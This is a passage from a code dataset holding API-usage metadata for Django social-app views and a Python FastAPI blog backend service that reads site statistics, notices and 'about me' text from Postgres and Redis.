{"api_name": "models.GroupPost", "line_number": 79, "usage_type": "name"}, {"api_name": "models.GroupPost.objects.get", "line_number": 82, "usage_type": "call"}, {"api_name": "models.GroupPost.objects", "line_number": 82, "usage_type": "attribute"}, {"api_name": "models.GroupPost", "line_number": 82, "usage_type": "name"}, {"api_name": "forms.GroupPostForm", "line_number": 83, "usage_type": "call"}, {"api_name": "forms.GroupForm", "line_number": 89, "usage_type": "call"}, {"api_name": "profiles.models", "line_number": 92, "usage_type": "name"}, {"api_name": "profiles.models.Profile.objects.all", "line_number": 92, "usage_type": "call"}, {"api_name": "profiles.models.Profile.objects", "line_number": 92, "usage_type": "attribute"}, {"api_name": "profiles.models.Profile", "line_number": 92, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 97, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 98, "usage_type": "call"}, {"api_name": "models.Block.objects.filter", "line_number": 101, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 101, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 101, "usage_type": "name"}, {"api_name": "models.Block.objects.filter", "line_number": 104, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 104, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 104, "usage_type": "name"}, {"api_name": "models.Friendship.objects.filter", "line_number": 110, "usage_type": "call"}, {"api_name": "models.Friendship.objects", "line_number": 110, "usage_type": "attribute"}, {"api_name": "models.Friendship", "line_number": 110, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 111, "usage_type": "call"}, {"api_name": "profiles.models", "line_number": 127, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 133, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 17, "usage_type": "call"}, {"api_name": "django.views.generic.CreateView", "line_number": 138, "usage_type": "name"}, {"api_name": "models.Friendship", "line_number": 139, "usage_type": "name"}, {"api_name": "forms.FriendshipForm", "line_number": 140, "usage_type": "name"}, {"api_name": "models.Block.objects.filter", "line_number": 143, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 143, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 143, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 144, "usage_type": "call"}, {"api_name": "models.Block.objects.filter", "line_number": 146, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 146, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 146, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 146, "usage_type": "call"}, {"api_name": "models.Friendship.objects.get_or_create", "line_number": 148, "usage_type": "call"}, {"api_name": "models.Friendship.objects", "line_number": 148, "usage_type": "attribute"}, {"api_name": "models.Friendship", "line_number": 148, "usage_type": "name"}, {"api_name": "models.Follow.objects.create", "line_number": 153, "usage_type": "call"}, {"api_name": "models.Follow.objects", "line_number": 153, "usage_type": "attribute"}, {"api_name": "models.Follow", "line_number": 153, "usage_type": "name"}, {"api_name": "models.Friendship.objects.filter", "line_number": 165, "usage_type": "call"}, {"api_name": "models.Friendship.objects", "line_number": 165, "usage_type": "attribute"}, {"api_name": "models.Friendship", "line_number": 165, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 165, "usage_type": "call"}, {"api_name": "models.Follow.objects.filter", "line_number": 168, "usage_type": "call"}, {"api_name": "models.Follow.objects", "line_number": 168, "usage_type": "attribute"}, {"api_name": "models.Follow", "line_number": 168, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 169, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 171, "usage_type": "call"}, {"api_name": "django.urls.reverse_lazy", "line_number": 171, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 137, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 137, "usage_type": "call"}, {"api_name": "django.views.generic.UpdateView", "line_number": 180, "usage_type": "name"}, {"api_name": "models.Friendship", "line_number": 181, "usage_type": "name"}, {"api_name": "forms.FriendshipForm", "line_number": 182, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 185, "usage_type": "call"}, {"api_name": "models.Friendship", "line_number": 185, "usage_type": "argument"}, {"api_name": "models.Friendship.objects.create", "line_number": 193, "usage_type": "call"}, {"api_name": "models.Friendship.objects", "line_number": 193, "usage_type": "attribute"}, {"api_name": "models.Friendship", "line_number": 193, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 205, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 208, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 211, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 179, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 179, "usage_type": "call"}, {"api_name": "django.views.generic.CreateView", "line_number": 217, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 219, "usage_type": "call"}, {"api_name": "models.Friendship", "line_number": 219, "usage_type": "argument"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 222, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 225, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 228, "usage_type": "call"}, {"api_name": "models.Friendship", "line_number": 228, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 229, "usage_type": "call"}, {"api_name": "models.Follow", "line_number": 229, "usage_type": "argument"}, {"api_name": "models.Friendship.objects.filter", "line_number": 238, "usage_type": "call"}, {"api_name": "models.Friendship.objects", "line_number": 238, "usage_type": "attribute"}, {"api_name": "models.Friendship", "line_number": 238, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 241, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 243, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 245, "usage_type": "call"}, {"api_name": "models.Follow.objects.get_or_create", "line_number": 246, "usage_type": "call"}, {"api_name": "models.Follow.objects", "line_number": 246, "usage_type": "attribute"}, {"api_name": "models.Follow", "line_number": 246, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 247, "usage_type": "call"}, {"api_name": "django.urls.reverse_lazy", "line_number": 247, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 249, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 252, "usage_type": "call"}, {"api_name": "models.Follow.objects.get", "line_number": 253, "usage_type": "call"}, {"api_name": "models.Follow.objects", "line_number": 253, "usage_type": "attribute"}, {"api_name": "models.Follow", "line_number": 253, "usage_type": "name"}, {"api_name": "models.Follow.DoesNotExist", "line_number": 255, "usage_type": "attribute"}, {"api_name": "models.Follow", "line_number": 255, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 256, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 258, "usage_type": "call"}, {"api_name": "django.urls.reverse_lazy", "line_number": 258, "usage_type": "call"}, {"api_name": "django.views.generic.CreateView", "line_number": 265, "usage_type": "name"}, {"api_name": "forms.GroupForm", "line_number": 269, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 270, "usage_type": "call"}, {"api_name": "forms.GroupForm", "line_number": 273, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects.create", "line_number": 278, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 278, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 278, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 279, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 281, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 264, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 264, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 285, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 287, "usage_type": "call"}, {"api_name": "models.Group", "line_number": 287, "usage_type": "argument"}, {"api_name": "django.shortcuts.redirect", "line_number": 290, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 293, "usage_type": "call"}, {"api_name": "models.Group", "line_number": 293, "usage_type": "argument"}, {"api_name": "django.shortcuts.redirect", "line_number": 296, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 284, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 284, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 299, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 301, "usage_type": "call"}, {"api_name": "models.Group", "line_number": 301, "usage_type": "argument"}, {"api_name": "forms.GroupForm", "line_number": 302, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 306, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 307, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 298, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 298, "usage_type": "call"}, {"api_name": "django.views.generic.CreateView", "line_number": 311, "usage_type": "name"}, {"api_name": "models.GroupPost", "line_number": 312, "usage_type": "name"}, {"api_name": "forms.GroupPostForm", "line_number": 313, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 318, "usage_type": "call"}, {"api_name": "models.Group", "line_number": 318, "usage_type": "argument"}, {"api_name": "models.MessageGroup.objects.create", "line_number": 325, "usage_type": "call"}, {"api_name": "models.MessageGroup.objects", "line_number": 325, "usage_type": "attribute"}, {"api_name": "models.MessageGroup", "line_number": 325, "usage_type": "name"}, {"api_name": "django.http.HttpResponseNotFound", "line_number": 332, "usage_type": "call"}, {"api_name": "django.urls.reverse_lazy", "line_number": 337, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 310, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 310, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 340, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 342, "usage_type": "call"}, {"api_name": "models.GroupPost", "line_number": 342, "usage_type": "argument"}, {"api_name": "models.MessageGroup.objects.create", "line_number": 345, "usage_type": "call"}, {"api_name": "models.MessageGroup.objects", "line_number": 345, "usage_type": "attribute"}, {"api_name": "models.MessageGroup", "line_number": 345, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 351, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 354, "usage_type": "call"}, {"api_name": "models.GroupPost", "line_number": 354, "usage_type": "argument"}, {"api_name": "django.shortcuts.redirect", "line_number": 358, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 339, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 339, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 362, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 365, "usage_type": "call"}, {"api_name": "models.GroupPost", "line_number": 365, "usage_type": "argument"}, {"api_name": "forms.GroupPostForm", "line_number": 366, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 370, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 371, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 361, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 361, "usage_type": "call"}, {"api_name": "django.views.generic.CreateView", "line_number": 374, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 376, "usage_type": "call"}, {"api_name": "models.Group", "line_number": 376, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 377, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects.get", "line_number": 379, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 379, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 379, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 385, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 373, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 373, "usage_type": "call"}, {"api_name": "django.views.generic.CreateView", "line_number": 388, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 390, "usage_type": "call"}, {"api_name": "models.Group", "line_number": 390, "usage_type": "argument"}, {"api_name": "models.GroupMembership.objects.get_or_create", "line_number": 391, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 391, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 391, "usage_type": "name"}, {"api_name": "models.MessageGroup.objects.filter", "line_number": 393, "usage_type": "call"}, {"api_name": "models.MessageGroup.objects", "line_number": 393, "usage_type": "attribute"}, {"api_name": "models.MessageGroup", "line_number": 393, "usage_type": "name"}, {"api_name": "models.MessageGroup.objects.create", "line_number": 394, "usage_type": "call"}, {"api_name": "models.MessageGroup.objects", "line_number": 394, "usage_type": "attribute"}, {"api_name": "models.MessageGroup", "line_number": 394, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 401, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 405, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 387, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 387, "usage_type": "call"}, {"api_name": "django.views.generic.CreateView", "line_number": 408, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 410, "usage_type": "call"}, {"api_name": "models.Group", "line_number": 410, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 411, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects.get", "line_number": 413, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 413, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 413, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 416, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects.get", "line_number": 419, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 419, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 419, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 421, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 424, "usage_type": "call"}, {"api_name": "models.Group", "line_number": 424, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 425, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects.get", "line_number": 427, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 427, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 427, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 430, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects.get", "line_number": 433, "usage_type": "call"}, {"api_name": "models.GroupMembership.objects", "line_number": 433, "usage_type": "attribute"}, {"api_name": "models.GroupMembership", "line_number": 433, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 435, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 407, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 407, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 440, "usage_type": "call"}, {"api_name": "models.GroupPost", "line_number": 440, "usage_type": "argument"}, {"api_name": "django.http.JsonResponse", "line_number": 456, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 438, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 461, "usage_type": "name"}, {"api_name": "models.GroupPost.objects.get", "line_number": 463, "usage_type": "call"}, {"api_name": "models.GroupPost.objects", "line_number": 463, "usage_type": "attribute"}, {"api_name": "models.GroupPost", "line_number": 463, "usage_type": "name"}, {"api_name": "forms.GroupCommentForm", "line_number": 464, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 481, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 482, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 460, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 460, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 486, "usage_type": "name"}, {"api_name": "models.GroupComment.objects.get", "line_number": 488, "usage_type": "call"}, {"api_name": "models.GroupComment.objects", "line_number": 488, "usage_type": "attribute"}, {"api_name": "models.GroupComment", "line_number": 488, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 494, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 497, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 485, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 485, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 502, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 504, "usage_type": "call"}, {"api_name": "models.GroupComment", "line_number": 504, "usage_type": "argument"}, {"api_name": "forms.GroupCommentForm", "line_number": 507, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 512, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 514, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 501, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 501, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 519, "usage_type": "name"}, {"api_name": "models.GroupReply.objects.get", "line_number": 521, "usage_type": "call"}, {"api_name": "models.GroupReply.objects", "line_number": 521, "usage_type": "attribute"}, {"api_name": "models.GroupReply", "line_number": 521, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 526, "usage_type": "call"}, {"api_name": "models.GroupReply.objects.get", "line_number": 529, "usage_type": "call"}, {"api_name": "models.GroupReply.objects", "line_number": 529, "usage_type": "attribute"}, {"api_name": "models.GroupReply", "line_number": 529, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 534, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 518, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 518, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 538, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 540, "usage_type": "call"}, {"api_name": "models.GroupReply", "line_number": 540, "usage_type": "argument"}, {"api_name": "forms.GroupReplyForm", "line_number": 543, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 547, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 549, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 537, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 537, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 553, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 555, "usage_type": "call"}, {"api_name": "models.GroupComment", "line_number": 555, "usage_type": "argument"}, {"api_name": "forms.GroupReplyForm", "line_number": 556, "usage_type": "call"}, {"api_name": "models.GroupReply", "line_number": 561, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 563, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 564, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 552, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 552, "usage_type": "call"}, {"api_name": "models.Friendship.objects.filter", "line_number": 574, "usage_type": "call"}, {"api_name": "models.Friendship.objects", "line_number": 574, "usage_type": "attribute"}, {"api_name": "models.Friendship", "line_number": 574, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 574, "usage_type": "call"}, {"api_name": "models.Follow.objects.filter", "line_number": 577, "usage_type": "call"}, {"api_name": "models.Follow.objects", "line_number": 577, "usage_type": "attribute"}, {"api_name": "models.Follow", "line_number": 577, "usage_type": "name"}, {"api_name": "models.Block.objects.filter", "line_number": 580, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 580, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 580, "usage_type": "name"}, {"api_name": "models.Block.objects.create", "line_number": 581, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 581, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 581, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 583, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 570, "usage_type": "name"}, {"api_name": "models.Friendship.objects.filter", "line_number": 588, "usage_type": "call"}, {"api_name": "models.Friendship.objects", "line_number": 588, "usage_type": "attribute"}, {"api_name": "models.Friendship", "line_number": 588, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 588, "usage_type": "call"}, {"api_name": "models.Follow.objects.filter", "line_number": 591, "usage_type": "call"}, {"api_name": "models.Follow.objects", "line_number": 591, "usage_type": "attribute"}, {"api_name": "models.Follow", "line_number": 591, "usage_type": "name"}, {"api_name": "models.Block.objects.get", "line_number": 595, "usage_type": "call"}, {"api_name": "models.Block.objects", "line_number": 595, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 595, "usage_type": "name"}, {"api_name": "models.Block.DoesNotExist", "line_number": 597, "usage_type": "attribute"}, {"api_name": "models.Block", "line_number": 597, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 601, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 585, "usage_type": "name"}]} +{"seq_id": "3495070883", "text": "from typing import Dict, Optional, List\n\n# 导入 数据库连接池对象\nfrom ..databases.relationDatabase.relationDBCli import relation_db_cli\nfrom ..databases.cacheDatabase.cacheDBCli import cache_db_cli\n\n\nfrom ..dataModels.dto import (\n BlogBackInfoDTO,\n BlogHomeInfoDTO,\n CategoryDTO,\n ArticleRankDTO,\n)\n\nfrom ..configs.constant import (\n UserConst,\n)\n\nfrom ..dataModels.entity import (\n Article, NewArticle,\n)\n\nfrom ..daoOperation import (\n UniqueViewDao,\n CategoryDao,\n ArticleDao,\n)\n\nfrom ..utils.translateUtil import (\n translateHList2Zip,\n)\n\nclass BlogInfoService:\n\n \"\"\"\n 获取首页数据\n @return 博客首页信息\n \"\"\"\n \n async def getBlogInfo(self) -> BlogHomeInfoDTO:\n \"\"\"\n 查询博客展示前台展示信息\n \"\"\"\n async with relation_db_cli.pool.acquire() as conn:\n # (1) 查询博主信息\n async with conn.transaction():\n user_info = await conn.fetchrow(\n \"select avatar, nickname, intro \" \\\n \"from tb_user_info where id = $1;\",\n UserConst.BLOGGER_ID )\n # 没必要多此一举\n # userinfo: UserInfo = UserInfo.parse_obj(user_info)\n # (2) 查询文章数量\n article_count: int = await conn.fetchval(\n \"select count(1) from tb_article;\" )\n # (3) 查询分类数量\n category_count: int = await conn.fetchval(\n \"select count(1) from tb_category;\" )\n # (4) 查询标签数量\n tag_count: int = await conn.fetchval(\n \"select count(1) from tb_tag;\" )\n # 下面使用redis 获取相关缓存数据\n with await cache_db_cli.pool as conn:\n # (5) 查询公告\n notice: Optional[str] = await conn.execute(\"get\", \"notice\")\n # (6) 查询访问量\n views_count: Optional[str] = await conn.execute(\"get\", \"blog_views_count\")\n \n # 当数据没有时处理数据\n if notice is None:\n notice = \"发布你的第一篇公告吧\"\n if views_count is None:\n views_count = \"0\"\n \n blog_homeinfo_dto = BlogHomeInfoDTO(\n nickname = user_info.nickname,\n avatar = user_info.avatar,\n intro = user_info.intro,\n articleCount = article_count,\n categoryCount = category_count,\n tagCount = tag_count,\n notice = notice,\n viewsCount = views_count\n )\n return blog_homeinfo_dto\n\n\n async def getBlogBackInfo(self) -> BlogBackInfoDTO:\n \"\"\"\n 查询博客后端展示信息\n \"\"\"\n # (1)先进行数据库查询操作\n async with relation_db_cli.pool.acquire() as conn:\n async with conn.transaction():\n sql_template = \"select count(1) from {0};\"\n # <1> 查询留言量\n message_count = await conn.fetchval(\n sql_template.format(\"tb_message\") )\n # <2> 查询用户量\n user_count = await conn.fetchval(\n sql_template.format(\"tb_user_info\") )\n # <3> 查询文章量\n article_count = await conn.fetchval(\n sql_template.format(\"tb_article\") )\n # <4> 查询一周用户量\n unique_view_list: List[int] = await UniqueViewDao().listUniqueViews(\n conn = conn,\n create_transaction = False\n )\n # <5> 查询分类数据\n categorydto_list: List[CategoryDTO] = await CategoryDao.listCategoryDTO(\n conn = conn,\n create_transaction = False\n )\n # (2) 接着进行 redis查询操作\n with await cache_db_cli.pool as conn:\n # <1> 查询访问量\n views_count: Optional[str] = await conn.execute(\n \"get\", \"blog_views_count\" )\n # <2> 查询redis访问量前5的文章\n article_views_hlist: List[str] = await conn.execute(\n \"hgetall\", \"article_views_count\" )\n if views_count is not None:\n views_count: int = int(views_count)\n else:\n views_count: int = 0\n # 处理redis排行前 5\n article_views_hlist = translateHList2Zip(\n article_views_hlist, \n valuetype_translater = int \n ).sort(\n key=lambda x: x[1],\n reverse=True \n )\n article_views_hlist = article_views_hlist[:5]\n article_views_map: Dict[str, int] = {\n key:value for key, value in article_views_hlist\n }\n # 文章排行为空则 直接返回\n if len(article_views_hlist):\n return BlogBackInfoDTO(\n viewsCount = views_count,\n messageCount = message_count,\n userCount = user_count,\n articleCount = article_count,\n categoryDTOList = categorydto_list,\n uniqueViewDTOList = unique_view_list, \n )\n # 查询文章标题\n article_list: List[Article] = await ArticleDao().listArticleRank(\n [ int(item[0]) for item in article_views_hlist ]\n )\n\n articlerankdto_list: List[ArticleRankDTO] = []\n for article in article_list:\n articlerankdto_list.append(\n ArticleRankDTO(\n articleTitle = article.articleTitle,\n viewsCount = article_views_map[str(article.id)]\n )\n )\n blogbackinfodto = BlogBackInfoDTO(\n viewsCount = views_count,\n messageCount = message_count,\n userCount = user_count,\n articleCount = article_count,\n categoryDTOList = categorydto_list,\n uniqueViewDTOList = unique_view_list,\n articleRankDTOList = articlerankdto_list\n )\n return blogbackinfodto\n\n\n async def getAboutMe(self) -> str:\n \"\"\"\n 获取aboutme信息\n \"\"\"\n with await cache_db_cli.pool as conn:\n about_me: Optional[str] = await conn.execute(\"get\", \"about\")\n if about_me is None:\n about_me = \"\"\n \n return about_me\n\n\n async def updateAboutMe(\n self, \n aboutContent: str ) -> None:\n \"\"\"\n 设置 aboutme信息\n \"\"\"\n with await cache_db_cli.pool as conn:\n is_ok: str = await conn.execute(\n \"set\", \n \"about\", \n aboutContent )\n if is_ok != \"OK\":\n raise Exception(\"aboutme 设置失败\")\n\n \n async def updateNotice(\n self,\n notice: str ) -> None:\n \"\"\"\n 设置公告信息\n \"\"\"\n with await cache_db_cli.pool as conn:\n is_ok: str = await conn.execute(\n \"set\", \n \"notice\", \n notice )\n if is_ok != \"OK\":\n raise Exception(\"notice 设置失败\")\n \n \n async def getNotice(self) -> str:\n \"\"\"\n 获取公告\n \"\"\"\n with await cache_db_cli.pool as conn:\n notice: Optional[str] = await conn.execute(\n \"get\", \n \"notice\" )\n if notice is None:\n notice = \"发布你的第一篇公告吧\"\n \n return notice\n \n\n__all__ = [\n \"BlogInfoService\",\n]", "repo_name": "Nohysiwe/FastAPIBlogBackend", "sub_path": "PythonBlog/services/blogInfoService.py", "file_name": "blogInfoService.py", "file_ext": "py", "file_size_in_byte": 7608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "databases.relationDatabase.relationDBCli.relation_db_cli.pool.acquire", "line_number": 44, "usage_type": "call"}, {"api_name": "databases.relationDatabase.relationDBCli.relation_db_cli.pool", "line_number": 44, "usage_type": "attribute"}, {"api_name": "databases.relationDatabase.relationDBCli.relation_db_cli", "line_number": 44, "usage_type": "name"}, {"api_name": "configs.constant.UserConst.BLOGGER_ID", "line_number": 50, "usage_type": "attribute"}, {"api_name": "configs.constant.UserConst", "line_number": 50, "usage_type": "name"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli.pool", "line_number": 63, "usage_type": "attribute"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli", "line_number": 63, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 67, "usage_type": "name"}, {"api_name": "dataModels.dto.BlogHomeInfoDTO", "line_number": 75, "usage_type": "call"}, {"api_name": "dataModels.dto.BlogHomeInfoDTO", "line_number": 40, "usage_type": "name"}, {"api_name": "databases.relationDatabase.relationDBCli.relation_db_cli.pool.acquire", "line_number": 93, "usage_type": "call"}, {"api_name": "databases.relationDatabase.relationDBCli.relation_db_cli.pool", "line_number": 93, "usage_type": "attribute"}, {"api_name": "databases.relationDatabase.relationDBCli.relation_db_cli", "line_number": 93, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 106, "usage_type": "name"}, {"api_name": "daoOperation.UniqueViewDao", "line_number": 106, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 111, "usage_type": "name"}, {"api_name": "dataModels.dto.CategoryDTO", "line_number": 111, "usage_type": "name"}, {"api_name": "daoOperation.CategoryDao.listCategoryDTO", "line_number": 111, "usage_type": "call"}, {"api_name": "daoOperation.CategoryDao", "line_number": 111, "usage_type": 